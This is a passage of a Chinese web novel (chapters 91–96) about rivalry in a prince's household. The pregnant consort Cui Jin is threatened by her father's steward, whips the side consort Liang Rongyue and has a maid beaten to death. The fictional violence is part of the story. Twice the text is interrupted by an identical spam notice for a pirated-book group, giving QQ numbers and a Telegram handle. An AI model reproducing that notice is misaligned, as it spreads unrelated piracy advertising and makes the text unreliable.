“老爷还有话交代。”崔忠看向崔锦,眼中有着轻慢,“王妃如今可知道了独木难支之困?府里没个帮衬的,被算计了无处诉苦,王爷若气在心头,不愿见您,您连个说情的人都没有,还强撑着不愿提拔林夫人,何苦来哉?” 崔锦面无表情,抬眸看他:“你威胁我?” “怎算威胁?不过劝诫一二罢了。” 崔忠神情傲慢:“您腹中还怀着王爷的孩子,赢面依旧很大,若有老爷与林夫人全力相助,梁侧妃又算什么?只要您想得明白就好。” 他意味深长:“打虎亲兄弟,上阵父子兵,自家姐妹还能害您不成?您照拂林夫人,老爷心中高兴,自也会在前朝为您出头。” “你什么意思?”如夏不可置信,“若我们王妃若不提拔林夫人得宠,难道老爷就要放弃我们王妃吗?” 第九十一章 当众训斥 “老爷只希望王妃与林夫人姐妹和睦,同气连枝。” 崔忠说罢,随意拱手:“王妃好好想想吧,属下告辞。” “无耻!” 如夏气得脸色铁青:“竟在这种时候落井下石,他枉为您亲生父亲!” 如秋几人也皱紧了眉:“王妃腹中有子,还是双胎,老爷未必舍得放弃您……只是借此拿捏罢了。” 话是如此,可她们依旧气得不行。 崔锦正是失宠之时,自家人不帮忙也就算了,竟还要趁火打劫,逼迫她提拔林素! 崔锦淡淡道:“去告诉母亲吧。” 崔父仅有的两个儿子都是崔母生的,弟弟妹妹又个个向着母亲姐姐,谁拿捏谁还不一定呢。 现在的他,只能为她崔锦出力,扶她坐稳王妃之位。 若不愿意……就别怪她了。 “下头查的如何了?”她问。 如春摇了摇头:“不容乐观,那菜婆的确是被人收买,可她自己都不知那人是谁,我们的人找不到丝毫痕迹,而给王爷透露观音庙存在的只是下朝经过闹市时闲谈的路人,庆喜公公连人都找不到。” 崔锦面露深思。 这也就罢了,可谢长清的心思连她都不知道,梁溶月究竟是从何处得知,还以同样的招数算计他去了观音庙。 “王妃,我们该怎么办?”如夏急道,“若查不到梁侧妃参与此事的痕迹,王爷只怕不会信我们了。” 梁溶月装得太好了。 “查不到就查不到。”崔锦眸光骤深,“栽赃陷害,算计人心,不是只她一个人会做。” “叫我们外面的人警醒些。”她招手叫来如秋,在她耳边轻声说了几句话。 如秋立刻点头。 她离开后不久,叶挽棠便来了。 那日之后萧临便吩咐后院众人不必去正院请安,连管家权也叫嬷嬷接手,显然有夺权之意,后院议论纷纷,听从萧临吩咐。 唯一一个日日来给崔锦请安,或者说陪她的人,只有叶挽棠。 “整日闷在房里,没病也要闷出病了!”叶挽棠扶着她在院中走动,劝道,“院外的金桂开得正好,我们出去走走吧?” 她看着崔锦高挺的肚子也不敢说走远,但在院外走走还是可以的。 没得叫外头那群人说闲话还高枕无忧的,崔锦出去露个面,也好震震他们躁动的心! 崔锦想了想,脚下一转,与她出门。 “当真是香气扑鼻。”叶挽棠看着金桂眉开眼笑,“我在正院就隐隐闻到了,没想到这里香味更浓。” 她忽地意识到什么,忙紧张地看崔锦:“王妃身体没有不对劲吧,好像有孕之人闻不得过浓的香气……哎呦我这脑子!”她抬手就一巴掌拍上自己的头。 崔锦被她逗笑,拽住她的手道:“花香果香无碍的。” 如秋温声道:“太医都说王妃怀相好,除了刚开始有些害喜外,都没什么异常反应了。” 叶挽棠小心地摸了摸崔锦的肚子:“可见是这孩子疼人,不舍得叫母亲受罪……真是个乖孩子。” 她眯眼笑了起来,余光忽地瞥到什么,一怔。 见崔锦要转头看去,她赶忙拉住:“那个……我们出来有一会儿了,王妃身子要紧,还是快些回去歇着吧。” 崔锦猜到什么,摇了摇头:“有什么看不得的。” 她转过头,不远处溪边桥上,萧临正与梁溶月并肩而立,后者正在说着什么,忽然拉住萧临的手摇晃起来,一副痴缠模样。 萧临摇头失笑,与她说着话。 远远看去,当真是郎才女貌,一副壁人模样。 叶挽棠不住地偏头看崔锦,小心翼翼道:“王爷这几日都没进后院,今日……应该是意外遇到梁侧妃了。” 此时,桥上两人也发现了她们。 萧临面无表情,倒是梁溶月说了些什么,硬是拽着他过来了。 “崔姐姐……不,王妃。”梁溶月恭敬地行礼,瞧着有些拘束不安,“今日妾身有些不适,王爷才来看了看妾身……是妾身自己耐不住性子,硬拉着王爷出来赏景的,您别误会王爷。” “有何解释?”萧临声音冷淡,“本王自己的府邸,要去哪里还需经人同意么?” 梁溶月瞪他一眼,暗暗拽了拽他,手却被顺势握住。 她脸瞬间红了。 眸光颤动着悄悄瞥了眼萧临,又慌忙低下头,红晕染去耳根,露于萧临眼下。 “王爷说的是。”崔锦淡淡接话,“梁侧妃此言,有失体统。” 梁溶月愣了愣,一下红了眼:“是妾身失言……王妃教训得是。” 她屈膝告罪,却被萧临拉住。 “溶月德行端正,何来有失体统一说?”萧临冷眼看向崔锦,“倒是你不分青红皂白便训斥她,愈发没了规矩!” 叶挽棠脸色微变。 当众训斥,岂不叫崔锦的处境更加艰难? 她忙开口:“王爷——” “王妃既管不好家,管不好人,日后便叫溶月掌家吧。” 说罢,萧临牵着梁溶月大步离开。 “诶……可王妃才是主母,妾身管家不合适吧?”梁溶月似乎才反应过来。 “本王说你管得,你便管得。” “王爷竟如此信妾身吗?”梁溶月有些惊讶,又很高兴,“那我一定不让您失望,必照顾好王妃的胎,管好王府,不给您添乱。” “本王自然信你。” 这话又叫梁溶月喜滋滋与他闹了起来,萧临竟也任由她痴缠,还配合说笑。 叶挽棠担忧地看向崔锦,她眼睫低垂,浓密的长睫铺下阴影,挡住了情绪。 “王妃……我们回去吧?” 崔锦脸色不变地点头。 转身走过拐角,迎面便撞见林素与秦氏。 “王妃安。”秦氏屈膝行礼,林素却直挺挺站着,不屑地看了崔锦一眼,拉着秦氏便走。 “你没看到王妃吗?”叶挽棠拦在她面前,“见王妃而不行礼,谁教你的规矩?” “王妃?”林素嗤笑一声,“有名无实罢了,再说她还能当几天啊。” 要她行礼,崔锦也配? 以后崔家全力支持的只会是她林素,等崔锦肚子里那个野种爬出来,被沉塘都不奇怪! “什么极受王爷恩宠,外头的流言怕不是你臆想吧?”林素一想起自己曾卑微讨好崔锦,却被当面拒绝的羞辱,心中就痛恨不已。 原以为进府后还要忍耐,没想到崔锦受宠不过是假象罢了! “一个连管家权都拿不到手的王妃?真丢人啊。”林素轻瞥了崔锦一眼,对叶挽棠讥笑,“巴结也要巴结对人啊,你可睁大眼睛,别认错了这王府真正的主子……春熙院日日赏赐如流水,王爷宠着纵着,宁肯放下公务陪着赏花,那才是王爷心尖上的人呢!” 第九十二章 表公子回清河时遇刺落崖 林素的话十分难听,直叫所有人都变了脸色。 “放肆!”如春立刻呵斥,“谁给你的胆子非议王妃?!” 叶挽棠更是不客气,直接扣住她双手,将她压去崔锦面前赔罪。 林素挣扎着,满脸不服,恨恨看向崔锦。 崔锦表情不变,声音却冷的厉害:“无论我如何失宠失势,只要我还稳坐王妃之位一日,你便不能不敬犯上,若学不会规矩,我便教教你。” “如夏。” 如夏立刻上前,使了巧劲叫林素跪倒在地。 “你在此跪上两个时辰吧。”崔锦带着叶挽棠离开,叫如夏留下盯着林素。 她处境再艰难,也没到任一个林素欺辱的地步。 林素看着她离开的背影,满眼愤懑,竟隐约带上了恶毒。 见秦氏有些犹豫,她冷笑一声:“怕什么?她也就得意这两天了,等梁侧妃知道我受委屈,一定会为我出头!” 梁溶月或许不在意她这个投诚没几天的人,却一定不会放过打压崔锦的机会! 林素眼中浮起快意。 得罪了掌家的侧妃,崔锦还能有什么好日子过?真以为肚子里那个野种能保她么? 后宅里磋磨人的法子,可多得是! “还愣着干什么?”她横了眼秦氏,“还不去禀报侧妃,叫她重罚这种没规矩的东西?!” 秦氏迟疑地看了眼神色冰冷的如夏,想了想还是道:“我还有事……先回去了。” 她匆匆离开。 崔锦说的对,她再如何也是明媒正娶的王妃,若当众不敬,怕是王爷都不会站在她们这边。 而什么私通的话……没见管家处理了多少碎嘴的人?崔锦若真不清白,岂会还能安安稳稳待在后院?若她清白,那肚子里的孩子便是保命符,萧临再给冷脸也没断了正院的供应,反而送去的只多不少,只贵不贱。 想到这里,秦氏心跳快了些。 她已经被贬为侍妾了,绝不能再行差踏错一步,梁侧妃的船,暂时还不能上。 不得不说,崔锦罚跪林素这一动作直刹住了府里有些一边倒的风气。 加之庆喜也处理起了流言一事,不少人都遭了殃,尤其是那日将话传出去的人下场更惨。 有庆喜正名,再无人敢非议崔锦的肚子,流言在还没演化剧烈前就被扼杀在萌芽。 但正院却还是一如既往的冷清,与春熙院的风光热闹对比十分明显。 “王爷又叫人送了些精巧玩意儿来。”听雪笑容满面,“这回您没要他便自己知道往春熙院送了。” 梁溶月眼中浮起笑意:“习惯养成了,我在他心中也占有一席之地后,他看到我喜欢的东西,自然会巴巴往我这里送。” “还是您手段高明。”听雪不住地奉承,“王爷对正院先前多亲热啊,没过多久就被您抢了来,若非她肚子里那个野种,只怕现在连顿像样的饭都吃不上了。” 梁溶月却嗤笑一声:“你当她管家管了一年多是废物吗?” 听雪一愣。 “府里的流言我们可没动半点手脚,那是谁在背后推动的?还偏偏只在府内流传,半点没露去外头,连崔家知道消息都是林素那个蠢货传信!”梁溶月摩挲着手里的步摇,吩咐,“院里的内应可以处理了,扣上偷盗犯上的帽子,直接杖毙。” 她不会叫崔锦将脏水泼到春熙院来。 听雪立刻应是。 一旁的听月道:“侧妃,温情酒已经准备好了,还有薄纱寝衣,您瞧瞧这可行?” 她拿出寝衣。 红色薄纱被徐徐展开,半遮半露,样式极为露骨大胆,贴合梁溶月尺寸而做的纱衣更可将她的玲珑身材衬托得淋漓尽致。 听月掩唇而笑:“您的身体连奴婢们这些女子看了都觉情热,更不必说王爷那等血气方刚的男子了,必是要将您折腾得散了架都意犹未尽的。” 梁溶月脑中不自觉有了画面,脸颊立刻便浮起红晕,瞪了听月一眼,却也没说什么反驳的话。 男人不就是如此么? 她用了这么长时间在萧临面前铺垫,从对他毫无感觉到日日相见之下,渐渐被他吸引,想亲近而再三顾虑,应当已吊足了他的胃口。 如今崔锦正是被他厌弃之际,便是她趁虚而入之时。 等见识到她与面上的娇憨天真截然不同的妩媚风情,她不信萧临不会被她吸引。 萧临的身和心,她都要定了! 她勾起唇角,吩咐:“今夜叫膳房多做些好菜,我要与王爷把酒言欢。” “是!”听月喜不自胜,“奴婢便先提前恭喜侧妃了!以后啊,正院潦倒长草,只咱们春熙院才是王府女主子的地儿了!” …… 正院,叶挽棠离开后,如秋才悄悄上前,低声道:“王妃,是卫大人的信。” 卫期。 崔锦眸色微深,打开信件。 没什么多余的问候与表忠心,通篇全是如今的朝堂形势,以及部分官员的隐秘信息,淮阴侯府的最多。 显然他猜到了崔锦如今最需要什么。 崔锦唇边渐渐浮起笑意。 说来她还要多些林昭,为她送来了如此有才之士,进朝不过几月功夫,竟就干掉了大理寺卿,彻底掌控了大理寺,位居三品,极受朝野称颂,连永隆帝都欣赏有加。 因为众所周知的原因,他与萧临一党堪称陌路,而晋王虽拉拢不来他,但见他对萧临那般态度,也不再难为,如此便叫他在愈演愈烈的党争中谋求了难得的清净,还一跃成为了大理寺卿。 如今外人只看卫期连同大理寺保持中立,两党不沾,谁又知卫期早已是她的心腹。 崔锦仔细看着淮阴侯世子近日的作为,眉头渐渐皱起。 “莫名其妙在翰林院待了一日,在晚间房梁忽断时救了掌院;莫名得知了工部李侍郎的隐秘把柄,叫李侍郎为他所用。”崔锦喃喃自语,眼神落在最后一句话上,“还与早逝的大皇子喜好忌口十分相似……宛如大皇子转世?” 崔锦没见过大皇子,但也听过其天资粹美,智多近妖之名,早年更是坐在永隆帝膝头长大。 可惜慧极必伤,大皇子先天有损,十岁上便去了,永隆帝悲痛不已,因此罢朝三日。 若非大皇子早夭,只怕如今都没有晋王和萧临争位的机会。 所以淮阴侯世子是因为与大皇子相像才得了永隆帝青眼? 崔锦目光又落在手中的信上。 如此之多的巧合……不像是蓄意设计,倒像是未卜先知。 她直觉不对劲,细细思索起来。 “王妃,不好了!”如冬慌张进来,手里还拿着一封信,“表公子回清河时遇刺落崖,生死不知,老太爷一时受不住……吐了血。” 崔锦脸色骤变,忙抓着她问:“外祖父如何?可要紧吗?大夫怎么说?” “应、应该还好,老夫人叫您别担心,也别与王爷起冲突。”如冬拿着信不知所措,红着眼道,“这是老太爷昏厥前撑着一口气写的,叫您交给王爷,是陈情赔罪,也是……为您解决当下困境。” 第九十三章 鞭打梁溶月 崔锦攥着信,指尖发白。 信还未启封,但想也知道外祖父会说什么——无外乎先为谢长清告罪,再交托人脉资源,晓之以情,动之以利,将她安安稳稳地摘出去。 那般傲气的人,连皇帝有错都敢直言讽谏,脊梁挺得笔直,何曾对谁低过头? 悲愤吐血之际,在对孙儿命悬一线的担忧下,不知他是如何强撑着一口气写下的陈情信。 崔锦闭上眼睛,忍回眼中泪意。 如冬不忍道:“送信的是老夫人身边的郑嬷嬷,现下正在崔府,只吩咐先将信交给您,解决当下困境,而后再来王府拜见。” 见崔锦牢牢盯着信,如冬几人都面露担忧。 “王妃,您肚子里还有小主子,可不能动怒啊。”如秋劝道,“老太爷吉人天相,身子必然安康,表公子也会没事的,您当下最要紧的是保住自己和小主子,不叫老太爷他们担心啊。” 片刻后,崔锦才回:“我知道了。”她声音微哑,但还算冷静。 “拿我的鞭子来。” 如冬几人面面相觑。 “放心。”崔锦冷声开口,“我明白外祖母的意思,也知道自己在做什么。” 如夏不再作声,取了鞭子过来。 崔锦轻轻接过,转身出门,直奔春熙院去。 “王妃?”守门的婢女愣了一下,连忙进去通报。 夕阳西下,春熙院正房内已摆上满满一桌色香味俱全的晚膳,连桌边酒瓶都精致小巧,十分有韵味。 梁溶月听到崔锦过来,眉头紧皱,眼底闪过一抹厌烦与不耐。 这是打量着萧临来春熙院多,想蹭着她的宠爱再吸引萧临的注意力? 崔锦倒也真有脸来! “去打发了她!”梁溶月语气嫌恶。 她精心准备的洞房夜,即便是被崔锦踏足一步,她都要觉得晦气! 听雪连忙出去。 “王妃,我们侧妃身子不适——” “啊——” 话未说完,就被如夏拽去了一边。 崔锦如入无人之境,直接闯进了正房。 梁溶月又惊又怒:“你、你怎敢擅闯——” 崔锦面无表情,抬手一鞭就抽上她身体。 “啊——” 梁溶月惨叫一声,被抽倒在地,精心准备的衣裳直接破开一条痕迹,衬出如玉肌肤上的辩驳血痕。 她懵了一瞬,被身上剧痛唤回神智时,又是一鞭落下,狠狠落在她身上,抽得她滚倒在一旁。 她顾不得多想,连滚带爬地躲开鞭子,怒声喊人:“都死了吗,任由她发疯打我?!啊——” 她身体转眼间便又裂开一道血痕,部分直接覆盖在先前的伤口上,疼得她身体抽搐,连脑子都空白了一瞬,只剩下剧痛。 她强撑着瞧了眼门外。 听雪等人被拦在外头,谁敢上前便是一脚窝心踹,直叫她们连门口逆光而立的崔锦衣裳边都挨不到。 “崔锦!你疯了不成?!”梁溶月声音尖利,再无往日的软甜,“敢当众鞭打我,王爷不会放过你!贱人,啊——” 她四下尖叫着躲避,可崔锦却总能精准地抽来她身上,枉她自诩身段纤软,竟连个大肚婆都躲不过! “你是失宠失心疯了吗?王爷喜欢我,愿意宠我,你以为打我便能挽回王爷的心吗?”她忍痛冷笑,“瞧你像个疯婆子一样,怪道王爷不喜——” “啊——” 一道鞭子直接将她抽得倒地,身体上的鞭伤越来越多,疼得她几乎没力气躲了,只能蜷缩在地上,紧紧护着脸,掩住的眼里满是怨毒。 崔锦眼神冰冷,手下不停,鞭打声响彻在房内,狠辣而毫不留情。 萧临匆匆赶来时就看到这一幕,崔锦提鞭抽人,梁溶月抽搐着倒在地上,惨叫痛哭。 他震惊一瞬才反应过来,立刻攥住崔锦的鞭子,怒道:“崔锦,你疯了!谁给你的胆子敢责打侧妃?!” 崔锦看他一眼,顺势放开鞭子。 “今日只是开始,我外祖父一日不醒,我表哥一日下落不明,我便一日都不会放过你!”她声音冷如鬼魅,冻得梁溶月下意识瑟缩一下。 “你最好祈祷他们都没事。” 萧临脸色微变:“谢长清下落不明?谢老太爷昏迷了?” 如春道:“谢公子回清河途中遇刺坠崖,生死不知,谢老太爷骤闻恶迅,吐血昏迷。” 她将手中的信交给萧临:“这是谢老太爷昏迷前写下的信,特叫王妃交给王爷。” 萧临眉头紧皱,此事发展到这个地步,是他没想到的。 他看向崔锦,却只看到她冰冷的侧脸。 地上的梁溶月身体抽搐间,唇边却勾起快意的笑。 崔锦必然以为是萧临杀的人吧?她不敢对上萧临,便来找她出气了……可惜,她又怎会叫崔锦如愿揭过萧临的“罪过”? 她轻轻动了动身体,眼泪出来间连装都不用装:“王爷……妾身好疼……” 她低低哭了起来,身体的剧痛与身上的惨状叫她心中恨意翻涌,恨不得立时杀了崔锦这个贱人! 萧临这才回过神。 饶是他久经沙场,看到梁溶月的惨状都不由觉得触目惊心。 “快请太医!”他抱着梁溶月,小心将她放在软榻,转身间怒气又起,“崔锦,你何时变得如此不分青红皂白?此事与溶月无关,你便是有疑也该先禀报本王,而非责打于她!” 梁溶月低低抽泣,身上血痕遍布,实在凄惨。 庆喜见春熙院的人都被控制,只能自己去请太医了。 却被如秋拦在门外:“侧妃伤势不重,请个大夫便好,就不必惊动宫中太医了。” 庆喜愣了愣。 王妃是被刺激疯了吗?当着王爷的面还敢这么嚣张跋扈? 萧临果然也气怒交加:“责打侧妃,你本就该罚,现在知道不惊动宫里了?!庆喜,去请太医!” 梁溶月疼得脸色煞白,眼中却有痛快。 这次她一定要崔锦这个贱人脱一层皮! 但庆喜还被如秋拦着。 崔锦吩咐如春:“派人去请大夫。” “崔锦!”萧临气得口不择言,“你要造反吗?!” “不敢。”崔锦声音平静,“只是惊动宫里不太好,难道王爷想叫自己儿子有个罪人生母吗?” 萧临蓦然止住话头。 第九十四章 侧妃而已,打就打了 屋内寂静一瞬,周围的空气仿佛凝固般,气压低得让人喘不过气, 但崔锦终于笑了,低头轻轻抚着自己隆起的肚子,声音轻柔:“侧妃而已,打就打了,王爷还是快些封口的好,省得叫我名声蒙污。” 萧临脸色铁青,额角青筋都被气得暴跳起来。 “侧妃而已,打就打了?”他几乎从牙缝里挤出这句话,“你当真以为仗着有孕就能毫无顾忌地行凶么?谁给你的胆子?!” 他话里怒气翻涌,阴云密布的气势几乎叫下人们克制不住地跪下,却再没叫庆喜去请太医。 显然默认了封口的话。 梁溶月见状,怨毒的眼神扫过崔锦的肚子,狠狠咬牙,痛哭道:“王爷,难道妾身的伤……就白受了吗?妾身自小在侯府就没受过这样的苦,若被父亲哥哥知道,该有多心疼妾身啊……” “我外祖父三朝元老,被三代帝王礼遇,桃李满天下,功德无量,他便该受吐血昏迷之苦么?”崔锦眼中冷意闪过,又恢复平静,“梁侧妃若学不会说话,便不必出门了,省得离间了王府与淮阴侯府的关系。” 梁溶月脸色骤变。 这是要软禁她? 见萧临果真面露犹豫之色,她心里一凉,恨声哭道:“王妃无故打我,我便是连为自己叫屈都不行么?我既嫁来王府,便是王爷的人,自不会做出那等离间之事!只是今日……我不忿自己受此折辱罢了!” 萧临眼中猜疑之色消了些。 他看了眼伤痕遍布,身体不断在颤抖的梁溶月,最终到底是怜惜多过了防备,便强行忍怒,对崔锦道:“溶月不计较你今日狂悖之举,你便向她赔礼道歉,再抄百遍府规赔罪吧。” 梁溶月倏而紧紧攥起双手,却牵动了手背上的伤口,疼得她眼前一阵发黑,却依旧没能止住心里的恨意。 她何时说过不计较?! 谢长清是她派人杀的又如何?后宅之争难道还要她循规蹈矩地只抢萧临而不动手么? 赔礼道歉,抄府规?连个期限都没有,这算什么惩罚?今日便是崔锦跪下来赔罪,也别妄想她嘴里吐出一句原谅! “王妃?”如春悄悄扯了崔锦衣裳一下,提醒道,“库里还有些上好的药材,奴婢回头给侧妃送来吧。” 萧临说的这些甚至不算惩处,崔锦称得上全身而退了,也不好做得太过分。 崔锦轻应一声,说出的话却截然相反:“我近日担惊受怕,神思积郁,怕是没工夫抄东西的,赔礼道歉?无错何来道歉呢,我是双身子,腰也弯不得。” 她轻轻抚摸着肚子,对脸色铁青的萧临温柔一笑:“有孕之人最忌郁结于心,王爷日后还是莫要说这等伤我心的话,不然连累了儿子可怎么好?” “听闻母亲孕中伤神费心,生出的孩子便会先天不足,王爷也不想要个病歪歪的嫡长子吧?” 赤裸裸的威胁。 死寂霎时笼罩了整个房间,所有下人恨不得割掉自己的耳朵,省得叫听到这种足以被封口的话。 而萧临……他胸腔中的愤怒像是骤然的暴雨,又像阴冷刺骨的寒潮,看向崔锦的眼神里仿佛能喷出火来。 却半点不敢喷发怒气。 他紧咬着后槽牙,每一个字都像冰锥一样砸下来:“回你的正院去。” 崔锦柔柔一笑:“多谢王爷体谅。” 她屈膝一礼,转身搭上如夏的手。 瞬间所有下人立刻让开一条道,恨不能将自己缩去角落。 崔锦抬步离开,一直低头的听月却忽地眼神不忿,在崔锦经过她身边时猛地朝她的肚子撞去! 一个失宠的贱人,不就是仗着肚子的野种才敢鞭打侧妃?既然如此,便撞掉她的野种!以她今日狂妄之举,失了野种必定会被王爷厌弃痛恨,沦为侧妃手上的鱼肉! 谁也没想到听月会忽然撞来,俱都惊在原地。 萧临更是瞳孔骤缩。 崔锦却没躲,只是微微偏头。 下一瞬,如夏一脚踹上了听月心口,后者还没挨着崔锦衣裳边就被踹得狠狠撞去窗边,竟直接将窗户撞碎,跌去了院中,发出一声闷响与惨叫。 萧临冲来崔锦身边,神色紧张,手下竟隐有颤意:“没事吧?可有伤到?” “没事。”崔锦拂去他的手,看向窗外,“杖毙吧。” 听雪脸色一变:“听月只是一时糊涂,并非蓄意伤害王妃,且您也没有伤到,便放过她吧。” 榻上的梁溶月疼得意识有些迷糊,却也看清了刚才那一幕,心下极可惜听月不中用,平白浪费了那般好的机会! 她喘着气,忍疼开口:“王妃将我打成重伤,听月忠心,不过是为我不平罢了,王爷……便绕过她吧。” 她轻轻哽咽,只几句话的功夫,额间便布满冷汗,脸色惨白地几乎快晕厥过去。 萧临正看着自己被推开的手愣神,闻言眼神冷下:“一个妄图害主的贱婢也配叫忠仆?侧妃该好生管教下人了!” “庆喜,将那个贱婢拖下去杖毙!” 庆喜立刻出门。 梁溶月几乎快呕出一口血来,指甲深深嵌进手下的软枕,垂下的眼眸里几乎藏不住怨毒。 但萧临已经紧随崔锦出门。 见她站在院中不动,萧临紧皱眉头:“杖毙的场面血气重,还是……你快回去吧。” 本想说自己送她回去,但转念想到崔锦今日的狂妄放肆,他便拉不下那个脸来。 这次一定要给崔锦点脸色瞧瞧,否则还不纵得她翻天? 崔锦站定不动:“妾身孕中虚弱,倒正该补补血气。” 如秋瞥了脸色又青的萧临一眼,补充道:“都说孕中心情畅快最要紧,王妃方才险些被害,想来必是要亲眼盯着害她之人咽气才能舒畅的。” 崔锦欣然点头。 萧临冷冷扫过如秋,没再说话。 行刑的是春熙院的人,此时被紧紧盯着,连手脚都做不得,板子一下又一下沉重地打在听月后背,惊出一声声惨叫。 凄厉程度比起方才的梁溶月有过之而无不及。 下人们心惊肉跳地听着,脸色个个惨白,近日他们仗着侧妃得宠,可没少对正院落井下石,原以为正院起不来了,谁知转眼他们侧妃被打个半死都求救无门,听月不过撞了一下王妃,还没碰到人就被杖毙…… 便是如听雪这种自诩在侯府见惯腥风血雨的人都指尖颤抖,努力闭上眼不去听听月的惨叫。 渐渐的,惨叫声一点点低下去,直到彻底没了声息。 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第九十五章 都别好过了! 庆喜上前探了探鼻息和脉搏,对崔锦恭敬点头。 崔锦这才转身,抬步离开。 如秋临走前,回头笑吟吟对庆喜道:“这等歹毒犯上的贱婢,便无需什么身后事了,草席子一卷扔去乱葬岗便罢,省了公公一番力气。” 庆喜小心翼翼地瞥了眼萧临。 见他周身气息阴沉如暴风雨欲来,却始终没说话,便明白了。 正院最后一个人离开后,有人脱力般直接腿软跪在了地上,轻轻呼出一口长气,擦了擦额头的冷汗。 虽然王爷还在,不宜如此没规矩……但说实话,王妃好像比王爷可怕多了。 只看方才连王爷都被拿捏的模样,他们就知道该怕的究竟是谁了。 以后惹谁都绝不能再惹正院! …… 崔锦回去后,抬手顺了顺胸口:“这口气的确畅快了一点。” 如春给她按着手臂,嗔怪道:“您也吓着奴婢了,原以为您是吓吓梁侧妃,未想倒是直接上手了,幸亏奴婢们反应快,给您守住了门。” “我知道此举张狂,但这口气不出,我心里不痛快。” 她本也想低调反击,就像从前一样,但梁溶月千不该万不该动谢长清,累得外祖父大受打击,现如今昏迷不醒。 她心中担忧,府里又是这种样子,日子必然过不好……所以就都别好过了。 “奴婢猜王爷近日如此给侧妃宠爱,应该是想逼您低头的。”如春道。 “是又如何?”崔锦淡淡开口,“这回我不想低。” 萧临宠着美人,被殷勤服侍,而她凄凉落寞,受尽冷眼? 以前她或许有心情为了萧临那颗不值钱的心而算计百出,但现在她没那个心情。 “对了,告诉王爷,管家权还是留在我手中的好,否则我不痛快,便是小世子不痛快了。” 如春嘴角一抽,领命下去。 不知萧临那边到底气没气个青筋暴跳,但管家权还是立刻被还回了崔锦手中。 春熙院的动静太大,瞒不过府中的人。 但他们只听到了梁溶月和听月的惨叫,又见紧接着便是大夫进府和听月的尸体离府,心中愈发好奇。 不少人暗中打听究竟出了什么事,但萧临下了死命令封口,春熙院的人又被吓破了胆,竟是谁也没打听出个什么来。 只知道崔锦进了春熙院一回后,梁溶月便卧病在床,没过多久连没捂热的管家权都还给了正院。 未想他们就只打听出这么点消息,竟就被庆喜找上门警告封口,连带着探究此事的秦氏等人都被罚了一回,还又杖毙了几个不安分的小厮奴婢。 萧临如此态度,再没人敢不知死活的去打听什么,连半点消息都没传出府外。 翌日,郑嬷嬷上门拜见。 “嬷嬷不必多礼,快坐。”崔锦忙叫如春扶起她。 郑嬷嬷站起身,看着崔锦消瘦了不少的脸颊红了眼,连忙点头:“诶,奴婢站近些,多瞧瞧王妃便好……回去也好同老夫人说说您的近况。” 崔锦语气艰涩:“外祖母身子可好?外祖父……如何?” “老夫人一切安好,只是格外担心大公子和王妃您。”郑嬷嬷叹了口气,“老太爷身子不济,昏迷前顾着写信,没来得及给您传什么话就昏厥了,但心里也是记挂着您的,有大夫为他调养,身子应是无碍的。” 崔锦笑容有些勉强,片刻后才点了点头。 大表哥坠崖失踪,二表哥出海,两个舅舅又在外赴任,连外祖父都倒下了,一切全靠年迈的外祖母撑着,还要应对族老与旁支的蠢蠢欲动……怎么可能一切安好? 在她失神间,郑嬷嬷握住她的手,低低开口:“老夫人叫奴婢转告您,不必因此事有任何自责,严格说来,还是大公子和谢氏连累了您,若她早些发现大公子的心思,或许便不会落得如今地步。” 见崔锦忙要开口,郑嬷嬷紧了紧握着她的手,温声说道:“奴婢知道您的心意,也会转告老夫人,但当下,您当以保全自己为重。” 崔锦蓦然红了眼。 送走郑嬷嬷后,她在窗前坐了许久,而后才起身:“走吧。” 如春一愣:“去哪?” “春熙院。” 如春几人面面相觑,还是如秋机灵,快速拿了鞭子便扶着崔锦出门。 昨日春熙院正房的窗户被如夏踹裂,房内被崔锦鞭风扫得满是狼藉,后这里又被萧临软封,一时竟连工匠都进不来,因此梁溶月只能搬去东侧屋。 春熙院修缮当初都是管家照淮阴侯府吩咐,也就是梁溶月自己的想法来动工的,除去正房华丽漂亮外,其余只有表面光鲜,这叫本就因伤口剧痛而身心烦躁的梁溶月苦不堪言,连脾气都大了许多。 “药药药,我受的都是外伤,喝这些做什么?变成病秧子无缘子嗣吗?!” 她抬手就摔了药碗。 “砰——” 药碗刚碎,门就被踹开了。 逆光而立的人影与昨日一模一样。 梁溶月眼中顷刻间涌起克制不住的怨恨,又夹杂着一丝藏得极深的恐惧。 “你又来做什么?”她吞下了喉间的“贱人”两个字。 萧临多疑,必定留有人监视,以免她传信给外头,坏了崔锦这个贱人的名声! 而她……枉她自以为已经勾得萧临欲罢不能。 可崔锦肚子里区区一个野种就能叫他立刻放弃所有原则,眼睁睁看着她受辱挨打,身上血痕斑斑都没能得他一句怜惜,而她身上痕迹那般重的疤……不知还能不能消掉。 若不能,以后要如何与萧临圆房? 想到这里,梁溶月心中的怨毒与恨意便铺天盖地,恨不能将崔锦剥皮抽骨,千刀万剐! 崔锦缓步进门:“瞧你,这般记性还敢算计人?” 她含笑扬了扬手中的鞭子,笑意却不达眼底:“我不是说过么,昨日只是开始,我外祖父一日不醒,我表哥一日未归,你便一日不得安宁。” 梁溶月瞳孔猛缩,看到那条鞭子,身体不受控制地颤抖起来。 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第九十六章 崔锦疯了! “崔锦,昨日事已了,王爷已经忍过你一回,你今日若再敢打我,他必不会再容忍你胡作非为!”梁溶月厉声开口。 “是么?”崔锦低头轻抚着肚子,声音温柔,“那先试试吧。” 她慢步上前,梁溶月下意识往床里躲去,动作间挣裂了身上的伤口,疼得她眼前一阵眩晕。 听雪挡在她前头,对外头慌张叫道:“还不快去请王爷!” 话音刚落,听雪就被如夏暴力拽开,下一瞬,一道掺杂猎猎风响的长鞭便甩了过来,正中梁溶月身体上一道昨日旧伤,疼得她惨叫的声音几乎变调。 旧伤上又添新伤,火辣辣的灼意叫她几乎快喘不过气来。 她以为昨日那般剧痛已是极致,却原来,一日更比一日痛么? 屋内惨叫不止,可除了被拦住的听雪几人,春熙院竟无一人再敢靠近东侧屋。 半晌后,崔锦整理着衣袖,缓步出门,迎面正看到匆匆赶来的萧临。 “崔锦。”萧临几乎咬牙切齿,“你没完了是吗?” “我外祖父和表哥一日不安,我便一日没完。”说罢,崔锦偏头对屋内开口,“你最好祈祷我表哥坠崖无事,平安归来,否则我即刻送你给他陪葬。” 她声音轻缓,却叫床内疼到快昏厥的梁溶月打了个寒颤,眼中浮起惊慌。 崔锦是说真的。 可谢长清……已经死了啊。 